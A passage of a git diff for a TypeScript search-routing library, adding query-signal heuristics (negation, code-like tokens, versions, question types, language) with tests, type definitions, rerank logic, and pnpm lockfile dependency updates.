RoutingDecision { - const reranked = shouldRerank(strategy, req); - if (reranked) reasons.push("reranking enabled (latency budget allows)"); - else if (strategy !== "keyword") reasons.push("reranking skipped (latency budget)"); + const reranked = shouldRerank(strategy, signals, req); + if (reranked) { + if (signals.hasNegation && strategy !== "rerank") { + reasons.push("negation detected → reranking forced"); + } else { + reasons.push("reranking enabled (latency budget allows)"); + } + } else if (strategy !== "keyword") { + reasons.push("reranking skipped (latency budget)"); + } return { strategy, reasons, signals, reranked }; } /** * Rerank decision — separate from strategy so it's easy to override later. * - * Heuristic: we rerank when - * - the strategy is vector or hybrid (rerankers add little to keyword), AND - * - either no latency budget was supplied, or the budget exceeds 800ms. - * - * 800ms is empirical: a typical cross-encoder rerank over 50 candidates is - * ~200-500ms on commodity infra. We want enough headroom for the upstream - * caller's own work. + * Heuristic: + * - Forced "rerank" strategy → always rerank. + * - Negation present → always rerank. Bi-encoders fail on negation; the + * reranker reads the negation token. Even keyword retrieval benefits. + * - Keyword strategies otherwise skip rerank (scores already lexical). + * - Vector / hybrid: rerank when no budget OR budget > 800ms. */ -function shouldRerank(strategy: RetrievalStrategy, req: SearchRequest): boolean { - if (strategy === "keyword") return false; +function shouldRerank( + strategy: RetrievalStrategy, + signals: QuerySignals, + req: SearchRequest +): boolean { if (strategy === "rerank") return true; + if (signals.hasNegation) return true; + if (strategy === "keyword") return false; const budget = req.latencyBudgetMs; if (budget === undefined) return true; return budget > 800; diff --git a/packages/core/src/routing/signals.test.ts b/packages/core/src/routing/signals.test.ts new file mode 100644 index 0000000..06640f9 --- /dev/null +++ b/packages/core/src/routing/signals.test.ts @@ -0,0 +1,108 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { computeSignals } from "./signals.js"; + +test("signals: tokens / avgTokenLen on typical query", () => { + const s = computeSignals("how do I tune autovacuum"); + assert.equal(s.tokens, 5); + assert.ok(s.avgTokenLen > 2); +}); + +test("signals: hasQuotedPhrase detects double and single quotes", () => { + assert.equal(computeSignals('look up "exact phrase" please').hasQuotedPhrase, true); + assert.equal(computeSignals("compare 'borrow checker' rules").hasQuotedPhrase, true); + assert.equal(computeSignals("no quotes here").hasQuotedPhrase, false); +}); + +test("signals: hasSpecificTokens for codes and IDs", () => { + assert.equal(computeSignals("ERR_CONNECTION_REFUSED 4101").hasSpecificTokens, true); + assert.equal(computeSignals("0xCAFEBABE").hasSpecificTokens, true); + assert.equal(computeSignals("plain English text").hasSpecificTokens, false); +}); + +test("signals: hasCodeLike for camelCase identifiers", () => { + assert.equal(computeSignals("useState in React").hasCodeLike, true); +}); + +test("signals: hasCodeLike for snake_case identifiers", () => { + assert.equal(computeSignals("pg_repack production").hasCodeLike, true); +}); + +test("signals: hasCodeLike for dotted identifiers", () => { + assert.equal(computeSignals("rbac.authorization.k8s.io").hasCodeLike, true); +}); + +test("signals: hasCodeLike false on plain prose", () => { + assert.equal(computeSignals("how should I deploy this").hasCodeLike, false); +}); + +test("signals: hasDateOrVersion for years", () => { + assert.equal(computeSignals("released in 2018").hasDateOrVersion, true); +}); + +test("signals: hasDateOrVersion for semver", () => { + assert.equal(computeSignals("upgrade to v3.1.2").hasDateOrVersion, true); + assert.equal(computeSignals("TLS 1.3 handshake").hasDateOrVersion, true); +}); + +test("signals: hasDateOrVersion for RFC and CVE", () => { + assert.equal(computeSignals("RFC 7519").hasDateOrVersion, true); + assert.equal(computeSignals("CVE-2024-3094").hasDateOrVersion, true); +}); + +test("signals: questionType=procedural for how/why", () => { + assert.equal(computeSignals("how do I deploy with zero downtime").questionType, "procedural"); + assert.equal(computeSignals("why does my pod restart").questionType, "procedural"); +}); + +test("signals: questionType=definitional for what is", () => { + assert.equal(computeSignals("what is the GIL").questionType, "definitional"); + assert.equal(computeSignals("what does FSDP do").questionType, "definitional"); +}); + +test("signals: questionType=factoid for who/when/where/which", () => { + assert.equal(computeSignals("who created PgBouncer").questionType, "factoid"); + assert.equal(computeSignals("when was TLS 1.3 standardized").questionType, "factoid"); + assert.equal(computeSignals("which RBAC object handles permissions").questionType, "factoid"); +}); + +test("signals: questionType=null when not a question", () => { + assert.equal(computeSignals("deploy production rollout pipeline").questionType, null); +}); + +test("signals: hasNamedEntity for capitalized mid-query token", () => { + assert.equal(computeSignals("setup PgBouncer for production").hasNamedEntity, true); +}); + +test("signals: hasNamedEntity ignores sentence-initial caps", () => { + // "How" at position 0 is just sentence-start capitalization, not entity. + assert.equal(computeSignals("How do I deploy").hasNamedEntity, false); +}); + +test("signals: hasNegation for not / without / vs", () => { + assert.equal(computeSignals("vacuum without locking writes").hasNegation, true); + assert.equal(computeSignals("HTTP vs HTTPS").hasNegation, true); + assert.equal(computeSignals("not restarting pod").hasNegation, true); +}); + +test("signals: hasNegation false on plain query", () => { + assert.equal(computeSignals("redis cluster setup").hasNegation, false); +}); + +test("signals: language non-en on Japanese", () => { + assert.equal(computeSignals("重複行 削除 PostgreSQL").language, "non-en"); +}); + +test("signals: language non-en on Chinese", () => { + assert.equal(computeSignals("如何配置连接池").language, "non-en"); +}); + +test("signals: language en on Spanish (Latin script)", () => { + // Spanish uses Latin script; we leave it as "en" since BM25 with a Latin + // tokenizer handles it passably and Spanish docs are often code-mixed. + assert.equal(computeSignals("cómo configurar pool de conexiones").language, "en"); +}); + +test("signals: language en on plain English", () => { + assert.equal(computeSignals("how do I deploy").language, "en"); +}); diff --git a/packages/core/src/routing/signals.ts b/packages/core/src/routing/signals.ts index 4b0e984..71091b6 100644 --- a/packages/core/src/routing/signals.ts +++ b/packages/core/src/routing/signals.ts @@ -1,4 +1,4 @@ -import type { QuerySignals } from "../types.js"; +import type { QuerySignals, QuestionType } from "../types.js"; /** * Compute query signals — pure function from query string to features. @@ -12,13 +12,37 @@ import type { QuerySignals } from "../types.js"; * codes) are keyword-flavored; long natural-language queries are vector-flavored. * - hasQuotedPhrase: "exact phrase match" is a hard constraint — that's keyword. * - hasSpecificTokens: identifiers, numbers, hex codes — keyword wins. - * - isQuestion: "how do I X?" is semantic — vector wins. + * - isQuestion / questionType: "how do I X?" is semantic; "who/when/where" is + * factoid and entity-leaning. + * - hasNamedEntity: capitalized proper nouns outside the first token reliably + * indicate "user is searching for a specific named thing" — keyword wins. + * - hasCodeLike: camelCase/dotted/snake_case is strong keyword signal. + * - hasDateOrVersion: years, semver, RFC, CVE — specific terms users want literal. + * - hasNegation: "not", "without", "vs" — bi-encoders fail on negation, so we + * force the reranker on regardless of base strategy. + * - language: non-Latin script → BM25 won't help (English-tuned), prefer vector. * - ambiguity: low lexical signal + many short stopwords = vector or rerank. * * All thresholds are intentionally explicit constants here, not config — * they're easier to reason about, and we tune them with eval datasets, not * by twiddling a YAML file. */ + +const STOPWORDS = new Set([ + "the", "a", "an", "and", "or", "but", "if", "to", "of", "in", "on", + "at", "for", "with", "is", "are", "was", "were", "be", "been", "being", + "this", "that", "these", "those", "it", "its", "i", "you", "we", "they", +]); + +const NEGATION_TOKENS = new Set([ + "not", "no", "without", "except", "vs", "never", "neither", "nor", +]); + +/** Strip leading punctuation/quotes for case-detection on the original token. */ +function stripPunct(token: string): string { + return token.replace(/^["'(\[`]+|["')\].,?!:`]+$/g, ""); +} + export function computeSignals(query: string): QuerySignals { const trimmed = query.trim(); const tokens = trimmed.split(/\s+/).filter(Boolean); @@ -28,7 +52,6 @@ export function computeSignals(query: string): QuerySignals { const avgTokenLen = tokenCount === 0 ? 0 : tokens.reduce((s, t) => s + t.length, 0) / tokenCount; const hasQuotedPhrase = /["'][^"']{2,}["']/.test(trimmed); - // "Specific" = numeric, identifier-like, code-like, or all-caps acronyms ≥ 3 chars. const hasSpecificTokens = tokens.some((t) => { if (/^\d+$/.test(t)) return true; if (/^[A-Z0-9]{3,}$/.test(t)) return true; @@ -37,22 +60,69 @@ export function computeSignals(query: string): QuerySignals { return false; }); + // Code-like patterns. Each matched token suggests a programming-context query. + const hasCodeLike = tokens.some((t) => { + const bare = stripPunct(t); + if (/[a-z][A-Z]/.test(bare)) return true; // camelCase: useState, kubectl + if (/^[a-z]+(_[a-z0-9]+)+$/i.test(bare)) return true; // snake_case: pool_mode, pg_repack + if (/[a-z]\.[a-z]/i.test(bare) && bare.length >= 5) return true; // dotted: rbac.authorization.k8s.io + if (bare.includes("::")) return true; // C++/Rust scope + if (/[a-zA-Z_]\w*\(/.test(bare)) return true; // function call: foo( + if (bare.includes("=") && /[a-zA-Z]/.test(bare) && bare.length >= 3) return true; // assignment: pool_mode=transaction + return false; + }); + + // Date / semver / RFC / CVE detection — specific identifiers users want literal. + const hasDateOrVersion = + /\b(19|20|21)\d{2}\b/.test(trimmed) || // year + /\bv?\d+\.\d+(\.\d+)?\b/.test(trimmed) || // semver: v3.1.2 or 1.3 + /\bRFC\s?\d{3,5}\b/i.test(trimmed) || // RFC 7519 + /\bCVE-\d{4}-\d{4,7}\b/i.test(trimmed); // CVE-2024-3094 + + // Question detection (preserved) + refined taxonomy. const isQuestion = /[?]\s*$/.test(trimmed) || /^(how|why|what|when|where|who|which|can|does|do|is|are|should|would|could)\b/i.test(trimmed); - // Ambiguity proxy: high stopword ratio + low lexical specificity → ambiguous. - const stopwords = new Set([ - "the", "a", "an", "and", "or", "but", "if", "to", "of", "in", "on", - "at", "for", "with", "is", "are", "was", "were", "be", "been", "being", - "this", "that", "these", "those", "it", "its", "i", "you", "we", "they", - ]); + let questionType: QuestionType | null = null; + if (isQuestion) { + const head = trimmed.toLowerCase(); + if (/^(who|when|where|which)\b/.test(head)) questionType = "factoid"; + else if (/^(how|why)\b/.test(head)) questionType = "procedural"; + else if (/^what\s+(is|are|does|do|was|were)\b/.test(head)) questionType = "definitional"; + // "what version", "can", "should", etc. → leave as untyped question. + } + + // Named entity heuristic: capitalized non-stopword token NOT at position 0. + // Sentence-initial capitalization is too noisy (every "How do I..." starts + // capital). Mid-query caps are a much stronger entity signal. + const hasNamedEntity = tokens.slice(1).some((t) => { + const bare = stripPunct(t); + if (bare.length < 2) return false; + if (!/^[A-Z]/.test(bare)) return false; + if (STOPWORDS.has(bare.toLowerCase())) return false; + // Require at least one lowercase letter — pure ALL-CAPS is already + // covered by hasSpecificTokens. We want PgBouncer, Redis, TLS-style + // capitalized words. + if (!/[a-z]/.test(bare) && bare.length < 4) return false; + return true; + }); + + const hasNegation = tokensLower.some((t) => NEGATION_TOKENS.has(t)); + + // Language detection (heuristic): non-Latin chars (CJK, Arabic, Cyrillic, etc). + // Spanish/French still pass as "en" since they're Latin script and BM25 + + // a Latin-tokenizer handle them passably; CJK is the hard case for BM25. + const nonLatinCount = (trimmed.match(/[^\u0020-\u024F\s\p{P}]/gu) ?? []).length; + const totalNonSpace = trimmed.replace(/\s+/g, "").length; + const language: "en" | "non-en" = + totalNonSpace > 0 && nonLatinCount / totalNonSpace > 0.3 ? "non-en" : "en"; + + // Ambiguity proxy: high stopword ratio + low lexical specificity. const stopRatio = - tokenCount === 0 ? 0 : tokensLower.filter((t) => stopwords.has(t)).length / tokenCount; - // Penalize very short queries — they're inherently ambiguous. + tokenCount === 0 ? 0 : tokensLower.filter((t) => STOPWORDS.has(t)).length / tokenCount; const lengthPenalty = tokenCount < 3 ? 0.4 : 0; - // Reward specificity heavily. - const specificityReward = hasSpecificTokens ? -0.3 : 0; + const specificityReward = hasSpecificTokens || hasCodeLike || hasDateOrVersion ? -0.3 : 0; let ambiguity = stopRatio + lengthPenalty + specificityReward; ambiguity = Math.max(0, Math.min(1, ambiguity)); @@ -63,5 +133,11 @@ export function computeSignals(query: string): QuerySignals { hasSpecificTokens, isQuestion, ambiguity, + hasNamedEntity, + hasCodeLike, + hasDateOrVersion, + questionType, + hasNegation, + language, }; } diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts index 237ccba..b30144f 100644 --- a/packages/core/src/types.ts +++ b/packages/core/src/types.ts @@ -66,6 +66,9 @@ export interface RoutingDecision { reranked: boolean; } +/** Refined question type. `null` means the query isn't a question. */ +export type QuestionType = "factoid" | "procedural" | "definitional"; + /** Signals derived from the query. */ export interface QuerySignals { /** Token count (whitespace-split, lowercased). */ @@ -80,6 +83,38 @@ export interface QuerySignals { isQuestion: boolean; /** Heuristic ambiguity score 0..1. Higher = more ambiguous. */ ambiguity: number; + /** + * Has a probable named entity — capitalized non-stopword token outside the + * very first position. Catches "PgBouncer", "Redis Streams", "TLS handshake". + */ + hasNamedEntity: boolean; + /** + * Has code-like syntax — camelCase identifiers, dotted paths, snake_case, + * `::` scope, function-call parens. Stronger keyword signal than prose. + */ + hasCodeLike: boolean; + /** + * Has a date, semver, RFC, or CVE token. Specific identifiers users want + * matched literally. + */ + hasDateOrVersion: boolean; + /** + * Refined question taxonomy. `factoid` → who/when/where/which (entity match + * matters); `procedural` → how/why (semantic); `definitional` → "what is X" + * (semantic + rerank). `null` if not a question. + */ + questionType: QuestionType | null; + /** + * Has a negation token — "not", "without", "except", "vs", "never". Bi-encoders + * famously confuse "X without Y" with "X with Y", so this forces rerank on. + */ + hasNegation: boolean; + /** + * Heuristic language tag. `"non-en"` when the query is dominated by non-Latin + * script — BM25 in our default analyzer is English-tuned, so we steer toward + * vector search for non-English queries. + */ + language: "en" | "non-en"; } /** A timing span recorded during search. */ diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 9261ae0..5a30a63 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -55,6 +55,22 @@ importers: specifier: ^5.4.0 version: 5.9.3 + evaluations: + dependencies: + '@augur/core': + specifier: workspace:* + version: link:../packages/core + devDependencies: + '@types/node': + specifier: ^20.11.0 + version: 20.19.39 + tsx: + specifier: ^4.7.0 + version: 4.21.0 + typescript: + specifier: ^5.4.0 + version: 5.9.3 + examples/basic-search: dependencies: '@augur/core': @@ -96,6 +112,9 @@ importers: packages/core: devDependencies: + '@huggingface/transformers': + specifier: 4.2.0 + version: 4.2.0 '@types/node': specifier: ^20.11.0 version: 20.19.39 @@ -134,6 +153,9 @@ packages: resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} engines: {node: '>=10'} + '@emnapi/runtime@1.10.0': + resolution: {integrity: sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==} + '@esbuild/aix-ppc64@0.27.7': resolution: {integrity: sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==} engines: {node: '>=18'} @@ -305,6 +327,153 @@ packages: '@fastify/merge-json-schemas@0.1.1': resolution: {integrity: sha512-fERDVz7topgNjtXsJTTW1JKLy0rhuLRcquYqNR9rF7OcVpCa2OVW49ZPDIhaRRCaUuvVxI+N416xUoF76HNSXA==} + '@huggingface/jinja@0.5.8': + resolution: {integrity: sha512-ZdElB7DPS7QQS8ZnFc5RPPtkg+eN11z8AmIZWAyes6pSbwXqiFB/POVevvm01begdSX1ho9Gxln/F6qlQMsuaA==} + engines: {node: '>=18'} + + '@huggingface/tokenizers@0.1.3': + resolution: {integrity: sha512-8rF/RRT10u+kn7YuUbUg0OF30K8rjTc78aHpxT+qJ1uWSqxT1MHi8+9ltwYfkFYJzT/oS+qw3JVfHtNMGAdqyA==} + + '@huggingface/transformers@4.2.0': + resolution: {integrity: sha512-8BRCoBMH0XsWaEIamuR0LrJGAfftgHAfb2Vrffy0VKlSAE/MnUJ5/h/zTfEP3fDIft+nk7TqB8xXEyABGitBjQ==} + + '@img/colour@1.1.0': + resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} + engines: {node: '>=18'} + + '@img/sharp-darwin-arm64@0.34.5': + resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [darwin] + + '@img/sharp-darwin-x64@0.34.5': + resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-darwin-arm64@1.2.4': + resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==} + cpu: [arm64] + os: [darwin] + + '@img/sharp-libvips-darwin-x64@1.2.4': + resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-linux-arm64@1.2.4': + resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linux-arm@1.2.4': + resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==} + cpu: [arm] + os: [linux] + + '@img/sharp-libvips-linux-ppc64@1.2.4': + resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==} + cpu: [ppc64] + os: [linux] + + '@img/sharp-libvips-linux-riscv64@1.2.4': + resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==} + cpu: [riscv64] + os: [linux] + + '@img/sharp-libvips-linux-s390x@1.2.4': + resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==} + cpu: [s390x] + os: [linux] + + '@img/sharp-libvips-linux-x64@1.2.4': + resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==} + cpu: [x64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==} + cpu: [x64] + os: [linux] + + '@img/sharp-linux-arm64@0.34.5': + resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + + '@img/sharp-linux-arm@0.34.5': + resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm] + os: [linux] + + '@img/sharp-linux-ppc64@0.34.5': + resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ppc64] + os: [linux] + + '@img/sharp-linux-riscv64@0.34.5': + resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [riscv64] + os: [linux] + + '@img/sharp-linux-s390x@0.34.5': + resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [s390x] + os: [linux] + + '@img/sharp-linux-x64@0.34.5': + resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + + '@img/sharp-linuxmusl-arm64@0.34.5': + resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + + '@img/sharp-linuxmusl-x64@0.34.5': + resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + + '@img/sharp-wasm32@0.34.5': + resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [wasm32] + + '@img/sharp-win32-arm64@0.34.5': + resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [win32] + + '@img/sharp-win32-ia32@0.34.5': + resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ia32] + os: [win32] + + '@img/sharp-win32-x64@0.34.5': + resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [win32] + '@jridgewell/gen-mapping@0.3.13': resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} @@ -390,6 +559,36 @@ packages: '@pinojs/redact@0.4.0': resolution: {integrity: sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==} + '@protobufjs/aspromise@1.1.2': + resolution: {integrity: sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==} + + '@protobufjs/base64@1.1.2': + resolution: {integrity: sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==} + + '@protobufjs/codegen@2.0.5': + resolution: {integrity: sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==} + + '@protobufjs/eventemitter@1.1.0': + resolution: {integrity: sha512-j9ednRT81vYJ9OfVuXG6ERSTdEL1xVsNgqpkxMsbIabzSo3goCjDIveeGv5d03om39ML71RdmrGNjG5SReBP/Q==} + + '@protobufjs/fetch@1.1.0': + resolution: {integrity: sha512-lljVXpqXebpsijW71PZaCYeIcE5on1w5DlQy5WH6GLbFryLUrBD4932W/E2BSpfRJWseIL4v/KPgBFxDOIdKpQ==} + + '@protobufjs/float@1.0.2': + resolution: {integrity: sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==} + + '@protobufjs/inquire@1.1.1': + resolution: {integrity: sha512-mnzgDV26ueAvk7rsbt9L7bE0SuAoqyuys/sMMrmVcN5x9VsxpcG3rqAUSgDyLp0UZlmNfIbQ4fHfCtreVBk8Ew==} + + '@protobufjs/path@1.1.2': + resolution: {integrity: sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==} + + '@protobufjs/pool@1.1.0': + resolution: {integrity: sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==} + + '@protobufjs/utf8@1.1.1': + resolution: {integrity: sha512-oOAWABowe8EAbMyWKM0tYDKi8Yaox52D+HWZhAIJqQXbqe0xI/GV7FhLWqlEKreMkfDjshR5FKgi3mnle0h6Eg==} + '@swc/counter@0.1.3': resolution: {integrity: sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==} @@ -413,6 +612,10 @@ packages: abstract-logging@2.0.1: resolution: {integrity: sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA==} + adm-zip@0.5.17: + resolution: {integrity: sha512-+Ut8d9LLqwEvHHJl1+PIHqoyDxFgVN847JTVM3Izi3xHDWPE4UtzzXysMZQs64DMcrJfBeS/uoEP4AD3HQHnQQ==} + engines: {node: '>=12.0'} + ajv-formats@2.1.1: resolution: {integrity: sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==} peerDependencies: @@ -465,6 +668,10 @@ packages: resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} engines: {node: '>=8'} + boolean@3.2.0: + resolution: {integrity: sha512-d0II/GO9uf9lfUHH2BQsjxzRJZBdsjgsBiW4BvhWk/3qoKwQFjIDVN19PfX8F2D/r9PCMTtLWjYVCFrpeYUzsw==} + deprecated: Package no longer supported. Contact Support at https://www.npmjs.com/support for more info. + braces@3.0.3: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} engines: {node: '>=8'} @@ -508,6 +715,21 @@ packages: csstype@3.2.3: resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + detect-node@2.1.0: + resolution: {integrity: sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==} + didyoumean@1.2.2: resolution: {integrity: sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==} @@ -517,10 +739,17 @@ packages: electron-to-chromium@1.5.352: resolution: {integrity: sha512-9wHk8x6dyuimoe18EdiDPWKExNdxYqo4fn4FwOVVper6RxT3cmpBwBkWWfSOCYJjQdIco/nPhJhNLmn4Ufg1Yg==} + 